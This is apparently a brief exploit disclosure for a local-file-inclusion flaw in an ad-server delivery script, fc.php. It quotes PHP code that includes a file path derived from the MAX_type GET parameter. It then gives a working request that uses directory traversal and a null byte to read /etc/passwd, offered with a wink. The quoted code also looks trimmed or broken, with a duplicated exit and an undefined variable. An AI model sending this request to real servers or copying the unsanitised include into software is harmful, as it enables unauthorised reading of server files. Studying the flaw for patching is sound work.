$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);

exit(1);
}
include $tagFileName;

If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type, 
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see 
the /etc/passwd file before you ;)
